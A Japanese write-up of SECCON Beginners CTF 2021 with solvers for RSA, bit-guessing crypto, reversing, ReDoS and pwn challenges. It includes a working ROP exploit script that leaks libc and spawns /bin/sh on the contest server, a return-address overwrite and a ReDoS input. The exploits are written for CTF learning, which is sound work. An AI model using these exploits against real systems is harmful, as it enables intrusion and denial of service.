SECCON Beginners CTF 2021 write-up
2021/5/22 14:00 - 5/23 14:00 (JST) で開催されたSECCON Beginners CTFに参加したので解けた問題のwrite-upです。チームとしては、whitecatsとして参加して1689pt (85位)でした。Web問はチームメイトにお任せして、Pwnに頭を悩ませながら他の問題を解いてました。
https://score.beginners.azure.noc.seccon.jp/
Crypto
simple_RSA
Let's encrypt it with RSA! 問題のプログラム
from Crypto.Util.number import * from flag import flag flag = bytes_to_long(flag.encode("utf-8")) p = getPrime(1024) q = getPrime(1024) n = p * q e = 3 assert 2046 < n.bit_length() assert 375 == flag.bit_length() print("n =", n) print("e =", e) print("c =", pow(flag, e, n))
e
が小さいので、「RSA e 小さい」でGoogle検索してでてきたブログ(ももいろテクノロジー:plain RSAに対する攻撃手法を実装してみる)を参考にソルバー作成。
import sys import gmpy from Crypto.Util.number import * def root_e(c, e, n): bound = gmpy.root(n, e)[0] m = gmpy.root(c, e)[0] return m, bound if __name__ == '__main__': n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 m, bound = root_e(c, e, n) print("%d (possible solution under %d)" % (m, bound)) print(long_to_bytes(m))
Flag: ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
Logical_SEESAW
We have an innovative seesaw!
問題のプログラム
from Crypto.Util.number import * from random import random, getrandbits from flag import flag flag = bytes_to_long(flag.encode("utf-8")) length = flag.bit_length() key = getrandbits(length) while not length == key.bit_length(): key = getrandbits(length) flag = list(bin(flag)[2:]) key = list(bin(key)[2:]) cipher_L = [] for _ in range(16): cipher = flag[:] m = 0.5 for i in range(length): n = random() if n > m: cipher[i] = str(eval(cipher[i] + "&" + key[i])) cipher_L.append("".join(cipher)) print("cipher =", cipher_L)
フラグと同じbit数の鍵が用意され、1/2の確率でフラグと&
演算される。&
演算なので、元々0のbitは変化しない。あとは、1のbitを調整すればOK。暗号化されたbit文字列を16個提供されるので、同じ個所のbitで1になっているものが多ければ、元々1だっただろうとあたりをつけるソルバーを作った。
from Crypto.Util.number import * from output import cipher #with open('output.txt', 'r') as f: # cipher = readline() # m 0 1 # -------- # k 0 0 0 0.5 # 1 0 1 # - 0 1 0.5 print(cipher) length = len(cipher[0]) ans = b'' for i in range(length): cnt = 0 for j in range(16): cnt += int(cipher[j][i]) if cnt == 0: ans += b'0' else: if cnt / 16 > 0.3: ans += b'1' else: ans += b'0' print(ans) print(long_to_bytes(int(ans, 2)))
Flag: ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
Rev
only_read
バイナリ読めなきゃやばいなり〜
disasemmble すると、main関数で文字列を1文字1文字比較する処理がある。比較している値を順番につなげるだけ。
11e4: 3c 63 cmp al,0x63 11e6: 0f 85 da 00 00 00 jne 12c6 <main+0x13d> 11ec: 0f b6 45 e1 movzx eax,BYTE PTR [rbp-0x1f] 11f0: 3c 74 cmp al,0x74 11f2: 0f 85 ce 00 00 00 jne 12c6 <main+0x13d> 11f8: 0f b6 45 e2 movzx eax,BYTE PTR [rbp-0x1e] 11fc: 3c 66 cmp al,0x66 11fe: 0f 85 c2 00 00 00 jne 12c6 <main+0x13d> 1204: 0f b6 45 e3 movzx eax,BYTE PTR [rbp-0x1d] 1208: 3c 34 cmp al,0x34 120a: 0f 85 b6 00 00 00 jne 12c6 <main+0x13d> 1210: 0f b6 45 e4 movzx eax,BYTE PTR [rbp-0x1c] 1214: 3c 62 cmp al,0x62 1216: 0f 85 aa 00 00 00 jne 12c6 <main+0x13d> 121c: 0f b6 45 e5 movzx eax,BYTE PTR [rbp-0x1b] 1220: 3c 7b cmp al,0x7b 1222: 0f 85 9e 00 00 00 jne 12c6 <main+0x13d> 1228: 0f b6 45 e6 movzx eax,BYTE PTR [rbp-0x1a] 122c: 3c 63 cmp al,0x63 122e: 0f 85 92 00 00 00 jne 12c6 <main+0x13d> 1234: 0f b6 45 e7 movzx eax,BYTE PTR [rbp-0x19] 1238: 3c 30 cmp al,0x30 123a: 0f 85 86 00 00 00 jne 12c6 <main+0x13d> 1240: 0f b6 45 e8 movzx eax,BYTE PTR [rbp-0x18] 1244: 3c 6e cmp al,0x6e 1246: 75 7e jne 12c6 <main+0x13d> 1248: 0f b6 45 e9 movzx eax,BYTE PTR [rbp-0x17] 124c: 3c 35 cmp al,0x35 124e: 75 76 jne 12c6 <main+0x13d> 1250: 0f b6 45 ea movzx eax,BYTE PTR [rbp-0x16] 1254: 3c 74 cmp al,0x74 1256: 75 6e jne 12c6 <main+0x13d> 1258: 0f b6 45 eb movzx eax,BYTE PTR [rbp-0x15] 125c: 3c 34 cmp al,0x34 125e: 75 66 jne 12c6 <main+0x13d> 1260: 0f b6 45 ec movzx eax,BYTE PTR [rbp-0x14] 1264: 3c 6e cmp al,0x6e 1266: 75 5e jne 12c6 <main+0x13d> 1268: 0f b6 45 ed movzx eax,BYTE PTR [rbp-0x13] 126c: 3c 74 cmp al,0x74 126e: 75 56 jne 12c6 <main+0x13d> 1270: 0f b6 45 ee movzx eax,BYTE PTR [rbp-0x12] 1274: 3c 5f cmp al,0x5f 1276: 75 4e jne 12c6 <main+0x13d> 1278: 0f b6 45 ef movzx eax,BYTE PTR [rbp-0x11] 127c: 3c 66 cmp al,0x66 127e: 75 46 jne 12c6 <main+0x13d> 1280: 0f b6 45 f0 movzx eax,BYTE PTR [rbp-0x10] 1284: 3c 30 cmp al,0x30 1286: 75 3e jne 12c6 <main+0x13d> 1288: 0f b6 45 f1 movzx eax,BYTE PTR [rbp-0xf] 128c: 3c 6c cmp al,0x6c 128e: 75 36 jne 12c6 <main+0x13d> 1290: 0f b6 45 f2 movzx eax,BYTE PTR [rbp-0xe] 1294: 3c 64 cmp al,0x64 1296: 75 2e jne 12c6 <main+0x13d> 1298: 0f b6 45 f3 movzx eax,BYTE PTR [rbp-0xd] 129c: 3c 31 cmp al,0x31 129e: 75 26 jne 12c6 <main+0x13d> 12a0: 0f b6 45 f4 movzx eax,BYTE PTR [rbp-0xc] 12a4: 3c 6e cmp al,0x6e 12a6: 75 1e jne 12c6 <main+0x13d> 12a8: 0f b6 45 f5 movzx eax,BYTE PTR [rbp-0xb] 12ac: 3c 67 cmp al,0x67 12ae: 75 16 jne 12c6 <main+0x13d> 12b0: 0f b6 45 f6 movzx eax,BYTE PTR [rbp-0xa] 12b4: 3c 7d cmp al,0x7d
>>> '\x63\x74\x66\x34\x62\x7b\x63\x30\x6e\x35\x74\x34\x6e\x74\x5f\x66\x30\x6c\x64\x31\x6e\x67\x7d' 'ctf4b{c0n5t4nt_f0ld1ng}'
Flag: ctf4b{c0n5t4nt_f0ld1ng}
children
これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
実行すると次々と生成される子プロセスのプロセスIDをきかれるので、逐一回答する。最後に作成した子プロセスの数を答える。
$ strace ./children execve("./children", ["./children"], 0x7ffe90cbec50 /* 20 vars */) = 0 brk(NULL) = 0x55a0bf9bf000 arch_prctl(0x3001 /* ARCH_??? */, 0x7ffea6df9f00) = -1 EINVAL (Invalid argument) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=31138, ...}) = 0 mmap(NULL, 31138, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f4de6381000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32 pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68 fstat(3, {st_mode=S_IFREG|0755, st_size=2029224, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4de637f000 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32 pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68 mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f4de618d000 mprotect(0x7f4de61b2000, 1847296, PROT_NONE) = 0 mmap(0x7f4de61b2000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f4de61b2000 mmap(0x7f4de632a000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f4de632a000 mmap(0x7f4de6375000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f4de6375000 mmap(0x7f4de637b000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f4de637b000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7f4de6380540) = 0 mprotect(0x7f4de6375000, 12288, PROT_READ) = 0 mprotect(0x55a0be1ac000, 4096, PROT_READ) = 0 mprotect(0x7f4de63b6000, 4096, PROT_READ) = 0 munmap(0x7f4de6381000, 31138) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 brk(NULL) = 0x55a0bf9bf000 brk(0x55a0bf9e0000) = 0x55a0bf9e0000 write(1, "I will generate 10 child process"..., 36I will generate 10 child processes. ) = 36 write(1, "They also might generate additio"..., 51They also might generate additional child process. ) = 51 write(1, "Please tell me each process id i"..., 58Please tell me each process id in order to identify them! ) = 58 write(1, "\n", 1 ) = 1 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12696 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12696, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 read(0, 12696 "12696\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12697 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12697, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12698 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12698, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12698 "12698\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12699 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12699, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12700 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12700, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12700 "12700\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12701 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12701, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12701 "12701\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12702 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12702, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12702 "12702\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12703 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12703, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12703 "12703\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12704 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12704, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12704 "12704\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12705 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12706 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12705, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12706, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12706 "12706\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12707 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12707, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12707 "12707\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12708 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12708, si_uid=1000, si_status=1, si_utime=0, si_stime=1} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12708 "12708\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 wait4(-1, NULL, 0, NULL) = 12696 write(1, "How many children were born?\n", 29How many children were born? ) = 29 read(0, 13 "13\n", 1024) = 3 write(1, "ctf4b{p0werfu1_tr4sing_t0015_15_"..., 40ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} ) = 40 lseek(0, -1, SEEK_CUR) = -1 ESPIPE (Illegal seek) exit_group(0) = ? +++ exited with 0 +++
手始めにstraceで挙動を見ながら動かして回答してたら最後まで正解できたので、フラグゲット。
Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
please_not_trace_me
フラグを復号してくれるのは良いけど,表示してくれない!!
ptraceが2回呼ばれているけど、1回目はreturn -1
、2回目はreturn 0
してあげれば、チェック処理は終了する。gdbで実行して、ptraceにbreakpointを設定し、呼ばれたところでreturn -1
とかしてあげればOK。フラグのdecrypt処理が進み、rc4で復号された文字をメモリ上から読んで終了。
Flag: ctf4b{d1d_y0u_d3crypt_rc4?}
Misc
Mail_Address_Validator
あなたのメールアドレスが正しいか調べます.
nc mail-address-validator.quals.beginners.seccon.jp 5100
#!/usr/bin/env ruby require 'timeout' $stdout.sync = true $stdin.sync = true pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i begin Timeout.timeout(60) { Process.wait Process.fork { puts "I check your mail address." puts "please puts your mail address." input = gets.chomp begin Timeout.timeout(5) { if input =~ pattern puts "Valid mail address!" else puts "Invalid mail address!" end } rescue Timeout::Error exit(status=14) end } case Process.last_status.to_i >> 8 when 0 then puts "bye." when 1 then puts "bye." when 14 then File.open("flag.txt", "r") do |f| puts f.read end else puts "What's happen?" end } rescue Timeout::Error puts "bye." end
最近よく聞くReDoSやぁと思いながら、Google検索。参考になりそうなサイトを見つけて、確認用の文字列そのまま使わせてもらった。(yohgaki's blog: 正規表現でのメールアドレスチェックは見直すべき – ReDoS)
>>> a = "secconbeginner@host"+".abcde"*10 >>> a 'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde' >>> a + "." 'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.'
$ nc mail-address-validator.quals.beginners.seccon.jp 5100 I check your mail address. please puts your mail address. secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde. ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
Flag: ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
Pwn
rewriter
任意のアドレスの値を書き換えたい時,ありますよね?
nc rewriter.quals.beginners.seccon.jp 4103
コード抜粋
void win() { execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); } int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; show_stack(buf); printf("Where would you like to rewrite it?\n> "); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; target = strtol(buf, NULL, 0); printf("0x%016lx = ", target); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; value = strtol(buf, NULL, 0); *(long*)target = value; }
*(long*)target = value;
ここで標準入力で指定したアドレスに指定の値を代入してくれる。win
関数のアドレスが0x04011f6
なのでret addr
をwin関数のアドレスで上書きしてもらう。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
$ nc rewriter.quals.beginners.seccon.jp 4103 [Addr] |[Value] ====================+=================== 0x00007ffef60d8e90 | 0x0000000000000000 <- buf 0x00007ffef60d8e98 | 0x0000000000000000 0x00007ffef60d8ea0 | 0x0000000000000000 0x00007ffef60d8ea8 | 0x0000000000000000 0x00007ffef60d8eb0 | 0x0000000000000000 <- target 0x00007ffef60d8eb8 | 0x0000000000000000 <- value 0x00007ffef60d8ec0 | 0x0000000000401520 <- saved rbp 0x00007ffef60d8ec8 | 0x00007f58721f6bf7 <- saved ret addr 0x00007ffef60d8ed0 | 0x0000000000000001 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8 Where would you like to rewrite it? > 140733026504392 0x00007ffef60d8ec8 = 4198902 [Addr] |[Value] ====================+=================== 0x00007ffef60d8e90 | 0x0a32303938393134 <- buf 0x00007ffef60d8e98 | 0x0a32393334303500 0x00007ffef60d8ea0 | 0x0000000000000000 0x00007ffef60d8ea8 | 0x0000000000000000 0x00007ffef60d8eb0 | 0x00000000004011f6 <- target 0x00007ffef60d8eb8 | 0x00007ffef60d8ec8 <- value 0x00007ffef60d8ec0 | 0x0000000000401520 <- saved rbp 0x00007ffef60d8ec8 | 0x00000000004011f6 <- saved ret addr 0x00007ffef60d8ed0 | 0x0000000000000001 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8 ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
Flag: ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
beginners_rop
Do you like programming?
Did you know Return Oriented Programming?
nc beginners-rop.quals.beginners.seccon.jp 4102
コード抜粋
#include <stdio.h> #include <unistd.h> char *gets(char *s); int main() { char str[0x100]; gets(str); puts(str); } __attribute__((constructor)) void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
getsで標準入力から入力を受け付けるのでバッファオバーフローのバグがある。タイトルどおりROPを頑張るだけ。
from pwn import * srv = 'beginners-rop.quals.beginners.seccon.jp' port = 4102 bin = ELF('./chall') libc = ELF('./libc-2.27.so') #conn = process(bin.path) # ''' #b *0x000215bf #continue #''') conn = remote(srv, port) payload = b'A' * 0x100 payload += b'B' * 8 """ $ readelf -S ./chall There are 31 section headers, starting at offset 0x3ab0: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align : [13] .plt PROGBITS 0000000000401020 00001020 0000000000000050 0000000000000010 AX 0 0 16 [14] .plt.sec PROGBITS 0000000000401070 00001070 0000000000000040 0000000000000010 AX 0 0 16 [15] .text PROGBITS 00000000004010b0 000010b0 00000000000001e5 0000000000000000 AX 0 0 16 : [23] .got PROGBITS 0000000000403ff0 00002ff0 0000000000000010 0000000000000008 WA 0 0 8 [24] .got.plt PROGBITS 0000000000404000 00003000 0000000000000038 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000404038 00003038 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000404050 00003048 0000000000000020 0000000000000000 WA 0 0 16 """ addr_main = 0x401196 addr_puts_got = bin.got['puts'] # 0x404018 addr_puts_plt = bin.plt['puts'] # 0x401070 addr_gets_plt = bin.plt['gets'] addr_bss = 0x404050 # ROP gadget pop_rdi = 0x00401283 # $ nm -D libc-2.27.so |grep puts # 0000000000080aa0 W puts # ROPの中で # 1-1. putsを呼び、putsのアドレスを調べる # 1-2. system関数のアドレスを逆算 # 1-3. mainを再度呼ぶ # # 2-1. bssのアドレスをrdiにセットしてgetsを呼ぶ # 2-2. getsに対して'/bin/sh'を送信 # 2-3. bssの'/bin/sh'を利用してsystem関数呼び出し # 1st ROP # set got(puts) to rdi payload += p64(pop_rdi) payload += p64(addr_puts_got) # call puts(got(puts)) payload += p64(addr_puts_plt) # re-call main payload += p64(addr_main) conn.sendline(payload) conn.recvline() # garbage # get leaked puts got-address leaked_puts_got = conn.recvline().rstrip() if len(leaked_puts_got) < 8: leaked_puts_got += b'\x00' * (8 - len(leaked_puts_got)) print('puts GOT:', hex(u64(leaked_puts_got))) leaked_puts = u64(leaked_puts_got) # calculate libc's base address libc_base = leaked_puts - libc.symbols['puts'] addr_system = libc_base + libc.symbols['system'] # 2nd rop payload = b'A' * 0x100 payload += b'B' * 8 # set bss addr to rdi payload += p64(pop_rdi) payload += p64(addr_bss) # call gets(rdi); // scan '/bin/sh\0' from stdin payload += p64(addr_gets_plt) # set bss addr to rdi ('/bin/sh\0') payload += p64(pop_rdi) payload += p64(addr_bss) # call system(rdi) payload += p64(addr_system) conn.sendline(payload) c = conn.recvline() # garbage print(c) conn.sendline('/bin/sh') # getsへ'/bin/sh'を送る conn.interactive() ''' $ python3 solve.py [*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done puts GOT: 0x7f91bbf8baa0 b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x83\x12@\n' [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{H4rd_ROP_c4f3}$ '''
Flag: ctf4b{H4rd_ROP_c4f3}
以上です!運営のみなさんお疲れさまでした!開催ありがとうございます!
※ヒープ問にヨワヨワなので、ヒープ問の復習しないと。